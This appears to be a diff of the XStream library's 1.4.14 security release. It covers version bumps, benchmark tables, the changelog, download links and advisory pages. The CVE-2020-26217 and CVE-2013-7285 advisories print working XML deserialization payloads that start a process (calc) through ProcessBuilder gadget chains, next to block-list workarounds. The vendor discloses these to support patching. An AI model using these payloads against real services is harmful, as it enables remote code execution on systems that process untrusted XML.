18		if (!staxDriver.isRepairingNamespace() \|\| perlUtil.match("#<\\w+:\\w+(>\| xmlns:\\w+=)#", expected)) {
19		expected = perlUtil.substitute("s# xmlns=\"\"##g", expected);
	18	if (!staxDriver.isRepairingNamespace() \|\| expected.matches("<\\w+:\\w+ xmlns:\\w+=.+")) {
	19	expected = expected.replaceAll(" xmlns=\"\"", "");
20	20	}
21		expected = perlUtil.substitute("s#<(\\w+)([^>]*)/>#<$1$2 />#g", expected);
	21	expected = expected.replaceAll("<(\\w+)([^>]*)/>", "<$1$2 />");
22	22	expected = replaceAll(expected, " ", " ");
23	23	expected = replaceAll(expected, ">", ">"); // Woodstox bug !!
24	24	expected = getXMLHeader() + expected;

36	36	protected StaxDriver getStaxDriver() {
37	37	return new WstxDriver();
38	38	}
39		}⏎
	39	}

-1

xstream-benchmark/pom.xml less more

13	13	<parent>
14	14	<groupId>com.thoughtworks.xstream</groupId>
15	15	<artifactId>xstream-parent</artifactId>
16		<version>1.4.11.1</version>
	16	<version>1.4.14</version>
17	17	</parent>
18	18	<artifactId>xstream-benchmark</artifactId>
19	19	<packaging>jar</packaging>

-1

xstream-distribution/pom.xml less more

13	13	<parent>
14	14	<groupId>com.thoughtworks.xstream</groupId>
15	15	<artifactId>xstream-parent</artifactId>
16		<version>1.4.11.1</version>
	16	<version>1.4.14</version>
17	17	</parent>
18	18	<artifactId>xstream-distribution</artifactId>
19	19	<packaging>pom</packaging>

78	78	<artifactId>maven-antrun-plugin</artifactId>
79	79	<executions>
80	80	<execution>
	81	<id>process-xsite</id>
81	82	<phase>package</phase>
82	83	<goals>
83	84	<goal>run</goal>

+11

-13

xstream-distribution/src/content/CVE-2013-7285.html less more

0	0	<html>
1	1	<!--
2		Copyright (C) 2017, 2018 XStream committers.
	2	Copyright (C) 2017, 2018, 2019 XStream committers.
3	3	All rights reserved.
4	4
5	5	The software in this package is published under the terms of the BSD

33	33
34	34	<p>Create a simple interface e.g. named <em>Contact</em> and an implementation class. Use XStream to marshal such
35	35	an object to XML. Replace the XML with following snippet and unmarshal it again with XStream:</p>
36		<div class="Source XML"><pre><contact>
37		<dynamic-proxy>
38		<interface>org.company.model.Contact</interface>
39		<handler class='java.beans.EventHandler'>
40		<target class='java.lang.ProcessBuilder'>
41		<command>
42		<string>calc.exe</string>
43		</command>
44		</target>
45		<action>start</action>
46		<handler>
47		</dynamic-proxy>
	36	<div class="Source XML"><pre><contact class='dynamic-proxy'>
	37	<interface>org.company.model.Contact</interface>
	38	<handler class='java.beans.EventHandler'>
	39	<target class='java.lang.ProcessBuilder'>
	40	<command>
	41	<string>calc.exe</string>
	42	</command>
	43	</target>
	44	<action>start</action>
	45	</handler>
48	46	</contact>
49	47	</pre></div>
50	48	<div class="Source Java"><pre>XStream xstream = new XStream();

-2

xstream-distribution/src/content/CVE-2017-7957.html less more

0	0	<html>
1	1	<!--
2		Copyright (C) 2017 XStream committers.
	2	Copyright (C) 2017, 2020 XStream committers.
3	3	All rights reserved.
4	4
5	5	The software in this package is published under the terms of the BSD

52	52
53	53	<h2 id="workarounds">Workarounds</h2>
54	54	<p>XStream contains since version 1.4.7 a <a href="security.html">security framework</a> to prevent an attack
55		described in CVE-2013-7285. This framework can also be used to suppress the current vulnerability by setting:</p>
	55	described in CVE-2013-7285. If this framework is properly initialized, it can also be used to suppress the current
	56	vulnerability by setting:</p>
56	57	<div class="Source Java"><pre>xstream.denyTypes(new Class[]{ void.class, Void.class });
57	58	</pre></div>
58	59

+146

-0

xstream-distribution/src/content/CVE-2020-26217.html less more

	0	<html>
	1	<!--
	2	Copyright (C) 2020 XStream committers.
	3	All rights reserved.
	4
	5	The software in this package is published under the terms of the BSD
	6	style license a copy of which has been included with this distribution in
	7	the LICENSE.txt file.
	8
	9	Created on 25. September 2020 by Joerg Schaible
	10	-->
	11	<head>
	12	<title>CVE-2020-26217</title>
	13	</head>
	14	<body>
	15
	16	<h2 id="vulnerability">Vulnerability</h2>
	17
	18	<p>CVE-2020-26217: XStream can be used for Remote Code Execution.</p>
	19
	20	<h2 id="affected_versions">Affected Versions</h2>
	21
	22	<p>All versions until and including version 1.4.13 are affected, if using the version out of the box. No user is
	23	affected, who followed the recommendation to setup <a href="security.html#framework">XStream's security
	24	framework</a> with a white list.</p>
	25
	26	<h2 id="description">Description</h2>
	27
	28	<p>The processed stream at unmarshalling time contains type information to recreate the formerly written objects.
	29	XStream creates therefore new instances based on these type information. An attacker can manipulate the processed
	30	input stream and replace or inject objects, that can execute arbitrary shell commands.</p>
	31
	32	<p>This issue is a variation of CVE-2013-7285, this time using a different set of classes of the Java runtime
	33	environment, none of which is part of the XStream default blacklist. The same issue has already been reported for
	34	Strut's XStream plugin in CVE-2017-9805, but the XStream project has never been informed about it.</p>
	35
	36	<h2 id="reproduction">Steps to Reproduce</h2>
	37
	38	<p>Create a simple HashMap and use XStream to marshal it to XML. Replace the XML with following snippet and
	39	unmarshal it again with XStream:</p>
	40	<div class="Source XML"><pre><map>
	41	<entry>
	42	<jdk.nashorn.internal.objects.NativeString>
	43	<flags>0</flags>
	44	<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
	45	<dataHandler>
	46	<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
	47	<contentType>text/plain</contentType>
	48	<is class='java.io.SequenceInputStream'>
	49	<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
	50	<iterator class='javax.imageio.spi.FilterIterator'>
	51	<iter class='java.util.ArrayList$Itr'>
	52	<cursor>0</cursor>
	53	<lastRet>-1</lastRet>
	54	<expectedModCount>1</expectedModCount>
	55	<outer-class>
	56	<java.lang.ProcessBuilder>
	57	<command>
	58	<string>calc</string>
	59	</command>
	60	</java.lang.ProcessBuilder>
	61	</outer-class>
	62	</iter>
	63	<filter class='javax.imageio.ImageIO$ContainsFilter'>
	64	<method>
	65	<class>java.lang.ProcessBuilder</class>
	66	<name>start</name>
	67	<parameter-types/>
	68	</method>
	69	<name>start</name>
	70	</filter>
	71	<next/>
	72	</iterator>
	73	<type>KEYS</type>
	74	</e>
	75	<in class='java.io.ByteArrayInputStream'>
	76	<buf></buf>
	77	<pos>0</pos>
	78	<mark>0</mark>
	79	<count>0</count>
	80	</in>
	81	</is>
	82	<consumed>false</consumed>
	83	</dataSource>
	84	<transferFlavors/>
	85	</dataHandler>
	86	<dataLen>0</dataLen>
	87	</value>
	88	</jdk.nashorn.internal.objects.NativeString>
	89	<string>test</string>
	90	</entry>
	91	</map>
	92	</pre></div>
	93	<div class="Source Java"><pre>XStream xstream = new XStream();
	94	xstream.fromXML(xml);
	95	</pre></div>
	96
	97	<p>As soon as the XML gets unmarshalled, the payload gets executed.</p>
	98
	99	<p>In a similar, but simpler scenario the <em>javax.imageio.ImageIO.ContainsFilter</em> is injected into an
	100	<em>java.util.Iterator</em> instance and the payload is executed as soon as the iterator's <em>next</em> method is
	101	called.</p>
	102
	103	<p>Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.</p>
	104
	105	<h2 id="impact">Impact</h2>
	106
	107	<p>The vulnerability may allow a remote attacker to run arbitrary shell commands only by manipulating the processed
	108	input stream.</p>
	109
	110	<h2 id="workaround">Workaround</h2>
	111	<p>As recommended, use XStream's security framework to implement a white list for the allowed types.</p>
	112	<p>Users of XStream 1.4.13 who want to use XStream default black list can simply add two lines to XStream's setup code:</p>
	113	<div class="Source Java"><pre>xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter" });
	114	xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class });
	115	</pre></div>
	116	<p>Users of XStream 1.4.12 to 1.4.7 who want to use XStream with a black list will have to setup such a list from
	117	scratch and deny at least the following types: <em>javax.imageio.ImageIO$ContainsFilter</em>,
	118	<em>java.beans.EventHandler</em>, <em>java.lang.ProcessBuilder</em>, <em>java.lang.Void</em> and <em>void</em>.</p>
	119	<div class="Source Java"><pre>xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter" });
	120	xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class, java.beans.EventHandler.class, java.lang.ProcessBuilder.class, java.lang.Void.class, void.class });
	121	</pre></div>
	122	<p>Users of XStream 1.4.6 or below can register an own converter to prevent the unmarshalling of the currently
	123	know critical types of the Java runtime. It is in fact an updated version of the workaround for CVE-2013-7285:</p>
	124	<div class="Source Java"><pre>xstream.registerConverter(new Converter() {
	125	public boolean canConvert(Class type) {
	126	return type != null && (type == java.beans.EventHandler.class \|\| type == java.lang.ProcessBuilder.class \|\| type == java.lang.Void.class \|\| void.class \|\| type.getName().equals("javax.imageio.ImageIO$ContainsFilter") \|\| Proxy.isProxy(type));
	127	}
	128
	129	public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
	130	throw new ConversionException("Unsupported type due to security reasons.");
	131	}
	132
	133	public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
	134	throw new ConversionException("Unsupported type due to security reasons.");
	135	}
	136	}, XStream.PRIORITY_LOW);
	137	</pre></div>
	138
	139	<h2 id="credits">Credits</h2>
	140
	141	<p>Chen L reported the issue to XStream and provided the required information to reproduce it. The issue was found
	142	by Zhihong Tian and Hui Lu, both from Guangzhou University.</p>
	143
	144	</body>
	145	</html>⏎

+71

-71

xstream-distribution/src/content/benchmarks.html less more

0	0	<html>
1	1	<!--
2		Copyright (C) 2015, 2016, 2017, 2018 XStream committers.
	2	Copyright (C) 2015, 2016, 2017, 2018, 2020 XStream committers.
3	3	All rights reserved.
4	4
5	5	The software in this package is published under the terms of the BSD

19	19	<body>
20	20	<h2 id="introduction">Introduction</h2>
21	21
22		<p>Benchmark results are always dependent on a very individual setup. Normally it is not useful to generalize such results
23		for every use case, but it can give you a hint. However, if you're really in the need of maximum performance, you should
	22	<p>Benchmark results are always dependent on a very individual setup. Normally it is not useful to generalize such results
	23	for every use case, but it can give you a hint. However, if you're really in the need of maximum performance, you should
24	24	probably create an own benchmark with your objects or even use a profiler to detect the real hot spots in your application.</p>
25	25
26	26	<p>XStream uses the Java Microbenchmark Harness (<a href="http://openjdk.java.net/projects/code-tools/jmh/">JMH</a>)
27	27	of the JDK Tools as benchmark framework starting with version 1.4.9. As result it contains a ZIP file
28		(xstream-jmh-<version>-app.zip) as new artifact containing anything required to run the benchmarks. Unpack
29		the file and use the scripts in the <em>bin</em> directory to execute the benchmarks. Use option -h to look at the
30		options provided by JMH. You may exchange the libraries in the <em>lib</em> directory with other versions of
31		XStream or the individual parsers or you may even add new JMH benchmarks to the default ones of XStream.</p>
32
33		<p>All benchmark values below measure the average throughput in nanosecond per operation. JMH provides additional
34		measurement options, see online help. The maximum deviation for each benchmark is recorded in the reference files
35		of the distributed ZIP file. The benchmark is executed on Linux 4.14.65 Gentoo 64-bit system with an Intel Core i7
36		CPU 920 of 2.67 GHz. Note again, that these values are no replacement for real profiler results and they may
37		vary from run to run (see reference files) due to this machine's background processes. However, it can give you some
38		idea of what you can expect using different parser technologies.</p>
	28	(xstream-jmh-<version>-app.zip) as new artifact containing anything required to run the benchmarks. Unpack the file
	29	and use the scripts in the <em>bin</em> directory to execute the benchmarks. Use option -h to look at the options provided
	30	by JMH. You may exchange the libraries in the <em>lib</em> directory with other versions of XStream or the individual
	31	parsers or you may even add new JMH benchmarks to the default ones of XStream.</p>
	32
	33	<p>All benchmark values below measure the average throughput in nanosecond per operation. JMH provides additional
	34	measurement options, see online help. The maximum deviation for each benchmark is recorded in the reference files of the
	35	distributed ZIP file. The benchmark is executed on Linux 5.4.48 Gentoo 64-bit system with an Intel Core i7 CPU 920 of 2.67
	36	GHz using OpenJDK 11.0.8. Note again, that these values are no replacement for real profiler results and they may vary
	37	from run to run (see reference files) due to this machine's background processes. However, it can give you some idea of
	38	what you can expect using different parser technologies.</p>
39	39
40	40	<h2 id="parser">Parser Benchmark</h2>
41	41

50	50	<th>Nested</th>
51	51	</tr>
52	52	<tr>
53		<th>W3C DOM (Oracle JDK 1.8.0_181)</th>
54		<td>9710278.896</td>
55		<td>53954694.751</td>
56		<td>5148010.389</td>
	53	<th>W3C DOM (Open JDK 11.0.8)</th>
	54	<td>10587727.502</td>
	55	<td>58925980.509</td>
	56	<td>5547526.718</td>
57	57	</tr>
58	58	<tr>
59	59	<th>JDOM (1.1.3)</th>
60		<td>6387821.035</td>
61		<td>6898339.792</td>
62		<td>14111857.552</td>
	60	<td>6541414.372</td>
	61	<td>6842504.530</td>
	62	<td>19329741.881</td>
63	63	</tr>
64	64	<tr>
65	65	<th>JDOM 2 (2.0.5)</th>
66		<td>5921949.583</td>
67		<td>8723291.385</td>
68		<td>10579620.188</td>
	66	<td>5870155.438</td>
	67	<td>9833407.570</td>
	68	<td>18291190.166</td>
69	69	</tr>
70	70	<tr>
71	71	<th>DOM4J (1.6.1)</th>
72		<td>7452345.867</td>
73		<td>93099746.029</td>
74		<td>5533035.930</td>
	72	<td>8680900.188</td>
	73	<td>79133279.111</td>
	74	<td>5501080.957</td>
75	75	</tr>
76	76	<tr>
77	77	<th>XOM (1.1)</th>
78		<td>8204769.944</td>
79		<td>42486494.920</td>
80		<td>8086714.065</td>
	78	<td>8062184.585</td>
	79	<td>33057256.100</td>
	80	<td>5842749.643</td>
81	81	</tr>
82	82	<tr>
83	83	<th>StAX (BEA 1.2.0)</th>
84		<td>2879876.995</td>
85		<td>666062.149</td>
86		<td>572549.126</td>
	84	<td>3208123.897</td>
	85	<td>862349.819</td>
	86	<td>798003.236</td>
87	87	</tr>
88	88	<tr>
89	89	<th>StAX (Woodstox 3.2.7)</th>
90		<td>1845769.311</td>
91		<td>632147.776</td>
92		<td>604788.852</td>
93		</tr>
94		<tr>
95		<th>StAX (Oracle JDK 1.8.0_131)</th>
96		<td>7444273.102</td>
97		<td>706572.092</td>
98		<td>617636.917</td>
	90	<td>1958090.473</td>
	91	<td>764703.865</td>
	92	<td>852446.766</td>
	93	</tr>
	94	<tr>
	95	<th>StAX (Open JDK 11.0.8)</th>
	96	<td>8449107.541</td>
	97	<td>771151.977</td>
	98	<td>630602.435</td>
99	99	</tr>
100	100	<tr>
101	101	<th>XPP (Xpp3 min 1.1.4c)</th>
102		<td>2155470.575</td>
103		<td>661082.180</td>
104		<td>12444913.194</td>
	102	<td>2076542.383</td>
	103	<td>717142.178</td>
	104	<td>12332209.281</td>
105	105	</tr>
106	106	<tr>
107	107	<th>XPP (kXML2 min 2.3.0)</th>
108		<td>3663477.841</td>
109		<td>854613.418</td>
110		<td>34372562.351</td>
111		</tr>
112		<tr>
113		<th>Binary (XStream 1.4.10)</th>
114		<td>1129812.942</td>
115		<td>383203.739</td>
116		<td>260233.635</td>
	108	<td>3609529.640</td>
	109	<td>886358.766</td>
	110	<td>37562872.191</td>
	111	</tr>
	112	<tr>
	113	<th>Binary (XStream 1.4.13)</th>
	114	<td>1057890.361</td>
	115	<td>385824.031</td>
	116	<td>255649.550</td>
117	117	</tr>
118	118	<tr>
119	119	<th>Jettison (1.2)</th>
120		<td>3016232.225</td>
121		<td>555908.503</td>
122		<td>619961.028</td>
	120	<td>3610357.375</td>
	121	<td>594530.928</td>
	122	<td>674957.675</td>
123	123	</tr>
124	124	</table>
125	125

145	145	</tr>
146	146	<tr>
147	147	<th>Custom</th>
148		<td>9176744.283</td>
	148	<td>9511483.088</td>
149	149	</tr>
150	150	<tr>
151	151	<th>Java Bean</th>
152		<td>18353984.976</td>
	152	<td>18956037.656</td>
153	153	</tr>
154	154	<tr>
155	155	<th>Reflection</th>
156		<td>23371721.858</td>
	156	<td>22467750.653</td>
157	157	</tr>
158	158	</table>
159	159

179	179	</tr>
180	180	<tr>
181	181	<th>No Cache</th>
182		<td>9422597.717</td>
	182	<td>9381243.000</td>
183	183	</tr>
184	184	<tr>
185	185	<th>Intern</th>
186		<td>12576002.757</td>
	186	<td>12528650.663</td>
187	187	</tr>
188	188	<tr>
189	189	<th>ConcurrentMap (length limit)</th>
190		<td>10411028.373</td>
	190	<td>10583918.884</td>
191	191	</tr>
192	192	<tr>
193	193	<th>ConcurrentMap (unlimited)</th>
194		<td>10666492.267</td>
	194	<td>11762308.937</td>
195	195	</tr>
196	196	<tr>
197	197	<th>Sync'd WeakCache (length limit)</th>
198		<td>10948390.386</td>
	198	<td>11104926.490</td>
199	199	</tr>
200	200	<tr>
201	201	<th>Sync'd WeakCache (unlimited)</th>
202		<td>11917404.787</td>
	202	<td>11092087.483</td>
203	203	</tr>
204	204	</table>
205	205

240	240	</tr>
241	241	<tr>
242	242	<th>No Coding</th>
243		<td>4190972.243</td>
	243	<td>4068459.179</td>
244	244	</tr>
245	245	<tr>
246	246	<th>Dollar Coding</th>
247		<td>4621025.135</td>
	247	<td>5006636.275</td>
248	248	</tr>
249	249	<tr>
250	250	<th>Escaped Underscore Coding</th>
251		<td>5896886.514</td>
	251	<td>6714770.410</td>
252	252	</tr>
253	253	<tr>
254	254	<th>Cached Escaped Underscore Coding</th>
255		<td>4350643.046</td>
	255	<td>4486384.078</td>
256	256	</tr>
257	257	<tr>
258	258	<th>Xml Friendly Coding</th>
259		<td>4938586.549</td>
	259	<td>5017414.939</td>
260	260	</tr>
261	261	</table>
262	262

+45

-1

xstream-distribution/src/content/changes.html less more

0	0	<html>
1	1	<!--
2	2	Copyright (C) 2005, 2006 Joe Walnes.
3		Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018 XStream committers.
	3	Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020 XStream committers.
4	4	All rights reserved.
5	5
6	6	The software in this package is published under the terms of the BSD

32	32
33	33	<p>Not yet released.</p>
34	34	-->
	35
	36	<h1 id="1.4.14">1.4.14</h1>
	37
	38	<p>Released November 16, 2020.</p>
	39
	40	<p class="highlight">This maintenance release addresses the security vulnerability
	41	<a href="CVE-2020-26217.html">CVE-2020-26217</a>, reported originally as CVE-2017-9805 for Struts' XStream Plugin,
	42	an arbitrary execution of commands when unmarshalling for XStream instances with uninitialized security framework.</p>
	43
	44	<h2>Stream compatibility</h2>
	45
	46	<ul>
	47	<li>The types java.lang.ProcessBuilder and javax.imageio.ImageIO$ContainsFilter are now part of the default
	48	blacklist and the deserialization of XML containing one of the two types will fail. You will must enable these
	49	types by explicit configuration, if you need them.</li>
	50	</ul>
	51
	52	<h1 id="1.4.13">1.4.13</h1>
	53
	54	<p>Released September 6, 2020.</p>
	55
	56	<h2>Major changes</h2>
	57
	58	<ul>
	59	<li>GHPR:#218: Defer reflective access to Java core modules.</li>
	60	<li>GHI:#207: New predefined blacklist avoids vulnerability due to improper setup of the security framework.</li>
	61	</ul>
	62
	63	<h1 id="1.4.12">1.4.12</h1>
	64
	65	<p>Released April 12, 2020.</p>
	66
	67	<h2>Minor changes</h2>
	68
	69	<ul>
	70	<li>XmlFriendlyNameCoder supports now XML parsers implementing only 4th edition of XML 1.0 specification.</li>
	71	<li>Fix support of CDATA events in StAX.</li>
	72	<li>GHI:#171: XStream.createObjectInputStream does not pass the DataHolder.</li>
	73	<li>GHI:#151: Use of SPDX license identifier in POM and Manifest.</li>
	74	<li>GHI:#152: Declare OSGi import of internal runtime packages as optional.</li>
	75	<li>Drop Require-Capability entry in manifest.</li>
	76	</ul>
	77
35	78	<h1 id="1.4.11.1">1.4.11.1</h1>
36	79
37	80	<p>Released October 27, 2018.</p>

73	116	<li>Old BEA reference implementation of StAX is outdated, unmaintained and has security issues, therefore
74	117	XStream's driver has been deprecated.</li>
75	118	<li>Support for JaCoCo: FieldDictionary ignores synthetic fields starting with <em>$jacoco</em> as name.</li>
	119	<li>Add integration test for OSGi (by Wes Wannemacher).</li>
76	120	</ul>
77	121
78	122	<h2>Stream compatibility</h2>

+35

-24

xstream-distribution/src/content/download.html less more

0	0	<html>
1	1	<!--
2	2	Copyright (C) 2005, 2006 Joe Walnes.
3		Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2015, 2016, 2017, 2018 XStream committers.
	3	Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2015, 2016, 2017, 2018, 2020 XStream committers.
4	4	All rights reserved.
5	5
6	6	The software in this package is published under the terms of the BSD

17	17
18	18	<p><a href="versioning.html">About XStream version numbers...</a></p>
19	19
20		<h1 id="stable">Stable Version: <span class="version">1.4.11.1</span></h1>
	20	<h1 id="stable">Stable Version: <span class="version">1.4.14</span></h1>
21	21
22	22	<ul>
23		<li><b><a href="http://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream-distribution/1.4.11.1/xstream-distribution-1.4.11.1-bin.zip">Binary distribution:</a></b>
	23	<li><b><a href="https://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream-distribution/1.4.14/xstream-distribution-1.4.14-bin.zip">Binary distribution:</a></b>
24	24	Contains the XStream jar files, the Hibernate and Benchmark modules and all the dependencies.</li>
25		<li><b><a href="http://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream-distribution/1.4.11.1/xstream-distribution-1.4.11.1-src.zip">Source distribution:</a></b>
	25	<li><b><a href="https://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream-distribution/1.4.14/xstream-distribution-1.4.14-src.zip">Source distribution:</a></b>
26	26	Contains the complete XStream project as if checked out from the Subversion version tag.</li>
27		<li><b><a href="http://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream/1.4.11.1/xstream-1.4.11.1.jar">XStream Core only:</a>
	27	<li><b><a href="https://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream/1.4.14/xstream-1.4.14.jar">XStream Core only:</a>
28	28	The xstream.jar only as it is downloaded automatically when it is referenced as Maven dependency.</b></li>
29		<li><b><a href="http://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream-hibernate/1.4.11.1/xstream-hibernate-1.4.11.1.jar">XStream Hibernate module:</a></b>
	29	<li><b><a href="https://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream-hibernate/1.4.14/xstream-hibernate-1.4.14.jar">XStream Hibernate module:</a></b>
30	30	The xstream-hibernate.jar as it is downloaded automatically when it is referenced as Maven dependency.</li>
31		<li><b><a href="http://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream-jmh/1.4.11.1/xstream-jmh-1.4.11.1-app.zip">XStream JMH module:</a></b>
	31	<li><b><a href="https://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream-jmh/1.4.14/xstream-jmh-1.4.14-app.zip">XStream JMH module:</a></b>
32	32	The xstream-jmh-app.zip as standalone application with start scripts and all required libraries.</li>
33		<li><b><a href="http://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream/1.4.11-java7/xstream-1.4.11-java7.jar">XStream Core for Java 7 only:</a>
	33	<li><b><a href="https://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream/1.4.14-java7/xstream-1.4.14-java7.jar">XStream Core for Java 7 only:</a>
34	34	The xstream.jar only <a href="faq.html#Compatibility_Android">without the Java 8 stuff</a> as it is downloaded automatically when it is referenced as Maven dependency.</b></li>
35	35	</ul>
	36
	37	<h1 id="maven">Maven Central Repository</h1>
	38
	39	<p>XStream is published to the Maven Central Repository. Use the following Maven coordinates to add XStream to
	40	your project:</p>
	41
	42	<div class="Source XML"><pre><dependency>
	43	<groupId>com.thoughtworks.xstream</groupId>
	44	<artifactId>xstream</artifactId>
	45	<version>1.4.14</version>
	46	</dependency></pre></div>
36	47
37	48	<h1 id="previous-releases">Previous Releases</h1>
38	49
39	50	<p>Previous releases of XStream are also available. However, use of the latest stable version is recommended.</p>
40	51
41	52	<ul>
42		<li><a href="http://repo.maven.apache.org/maven2/com/thoughtworks/xstream/xstream/">Previous releases (>= 1.2)</a></li>
43		<li><a href="http://repo.maven.apache.org/maven2/xstream/xstream/">Previous releases (<= 1.2)</a></li>
	53	<li><a href="https://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream/">Previous releases (>= 1.2)</a></li>
	54	<li><a href="https://repo1.maven.org/maven2/xstream/xstream/">Previous releases (<= 1.2)</a></li>
44	55	</ul>
45	56
46	57	<h1 id="optional-deps">Optional Dependencies</h1>

54	65	<ul>
55	66	<li>Supported XML parsers and packages:
56	67	<ul>
57		<li><a href="http://repo.maven.apache.org/maven2/xmlpull/xmlpull/1.1.3.1/xmlpull-1.1.3.1.jar">XmlPull</a>, the <a href="http://www.xmlpull.org/">XML pull parser API</a> and factory to detect available implementations.</li>
	68	<li><a href="https://repo1.maven.org/maven2/xmlpull/xmlpull/1.1.3.1/xmlpull-1.1.3.1.jar">XmlPull</a>, the <a href="http://www.xmlpull.org/">XML pull parser API</a> and factory to detect available implementations.</li>
58	69	<li><a href="http://www.extreme.indiana.edu/dist/java-repository/xpp3/jars/xpp3_min-1.1.4c.jar">Xpp3</a>, an XML pull parser (recommended).</li>
59	70	<li><a href="http://downloads.sourceforge.net/kxml/kxml2-2.3.0.jar">kXML2</a> or <a href="http://downloads.sourceforge.net/kxml/kxml2-min-2.3.0.jar">kXML2-min</a>, an XML pull parser.</li>
60	71	<li><a href="http://downloads.sourceforge.net/dom4j/dom4j-1.6.1.zip">DOM4J</a>, easy XML representation and manipulation framework.</li>
61		<li><a href="http://www.jdom.org/dist/binary/archive/jdom-1.1.3.zip">JDOM</a>, easy XML representation and manipulation (requires Java 1.2, superseded by JDOM2).</li>
	72	<li><a href="http://www.jdom.org/dist/binary/archive/jdom-1.1.3.zip">JDOM</a>, easy XML representation and manipulation (superseded by JDOM2).</li>
62	73	<li><a href="http://www.jdom.org/dist/binary/jdom2-2.0.5.zip">JDOM2</a>, easy XML representation and manipulation, successor of JDOM (requires Java 5).</li>
63		<li>StaX, the <a href="http://repo.maven.apache.org/maven2/stax/stax-1.2.0.jar">reference implementation</a> of the <a href="http://repo.maven.apache.org/maven2/stax/stax-api-1.0.1.jar">Streaming API for XML</a>.</li>
64		<li><a href="http://repo.maven.apache.org/maven2/woodstox/wstx-asl-3.2.7.jar">Woodstox</a>, an alternate open source StaX implementation.</li>
	74	<li>StaX, the <a href="https://repo1.maven.org/maven2/stax/stax/1.2.0/stax-1.2.0.jar">reference implementation</a> of the <a href="https://repo1.maven.org/maven2/stax/stax-api/1.0.1/stax-api-1.0.1.jar">Streaming API for XML</a>.</li>
	75	<li><a href="https://repo1.maven.org/maven2/woodstox/wstx-asl/3.2.7/wstx-asl-3.2.7.jar">Woodstox</a>, an alternate open source StaX implementation.</li>
65	76	<li><a href="http://www.cafeconleche.org/XOM/xom-1.1.jar">XOM</a>, another alternative XML API.</li>
66	77	</ul>
67	78	</li>
68	79	<li>Other optional 3rd party dependencies:
69	80	<ul>
70		<li><a href="http://repo.maven.apache.org/maven2/javax/activation/activation/1.1.1/activation-1.1.1.jar">Java Activation module</a> for the ActivationDataFlavorConverter. The dependency is required for the Java 11 runtime.</li>
	81	<li><a href="https://repo1.maven.org/maven2/javax/activation/activation/1.1.1/activation-1.1.1.jar">Java Activation module</a> for the ActivationDataFlavorConverter. The dependency is required for the Java 11 runtime.</li>
71	82	<li><a href="http://downloads.sourceforge.net/joda-time/joda-time-1.6.zip">Joda Time</a> for optional ISO8601 date/time converters in JDK 1.7 or below.</li>
72	83	<li><a href="http://downloads.sourceforge.net/cglib/cglib-nodep-2.2.jar">CGLIB</a> for optional support of some proxies generated with the CGLIB Enhancer.</li>
73		<li><a href="http://repo.maven.apache.org/maven2/org/codehaus/jettison/jettison/1.2/jettison-1.2.jar">Jettison</a> for serialization and deserialization support with JSON. Note, that newer versions 1.3.x are no longer compatible with XStream.</li>
74		<li><a href="http://repo.maven.apache.org/maven2/org/codehaus/jettison/jettison/1.0/jettison-1.0.jar">Jettison 1.0.1</a> for serialization and deserialization support with JSON in JDK 1.4. Note, that newer version 1.1 is not compatible with XStream.</li>
	84	<li><a href="https://repo1.maven.org/maven2/org/codehaus/jettison/jettison/1.2/jettison-1.2.jar">Jettison</a> for serialization and deserialization support with JSON. Note, that newer versions 1.3.x are no longer compatible with XStream.</li>
	85	<li><a href="https://repo1.maven.org/maven2/org/codehaus/jettison/jettison/1.0/jettison-1.0.jar">Jettison 1.0.1</a> for serialization and deserialization support with JSON in JDK 1.4. Note, that newer version 1.1 is not compatible with XStream.</li>
75	86	</ul>
76	87	</li>
77	88	</ul>

81	92	<ul>
82	93	<li>Supported Hibernate versions:
83	94	<ul>
84		<li><a href="http://repo.maven.apache.org/maven2/org/hibernate/hibernate-core/4.2.5.Final/hibernate-core-4.2.5.Final.jar">Hibernate Core 4.2.5</a>, for Java 6 or higher.</li>
85		<li><a href="http://repo.maven.apache.org/maven2/org/hibernate/hibernate-core/3.6.6.Final/hibernate-core-3.6.6.Final.jar">Hibernate Core 3.6.6</a>, for Java 5.</li>
86		<li><a href="http://repo.maven.apache.org/maven2/org/hibernate/hibernate-core/3.3.2.GA/hibernate-core-3.3.2.GA.jar">Hibernate Core 3.3.2</a>, for Java 1.4.</li>
	95	<li><a href="https://repo1.maven.org/maven2/org/hibernate/hibernate-core/4.2.5.Final/hibernate-core-4.2.5.Final.jar">Hibernate Core 4.2.5</a>, for Java 6 or higher.</li>
	96	<li><a href="https://repo1.maven.org/maven2/org/hibernate/hibernate-core/3.6.6.Final/hibernate-core-3.6.6.Final.jar">Hibernate Core 3.6.6</a>, for Java 5.</li>
	97	<li><a href="https://repo1.maven.org/maven2/org/hibernate/hibernate-core/3.3.2.GA/hibernate-core-3.3.2.GA.jar">Hibernate Core 3.3.2</a>, for Java 1.4.</li>
87	98	</ul>
88	99	</li>
89	100	<li>Supported Hibernate Envers versions:
90	101	<ul>
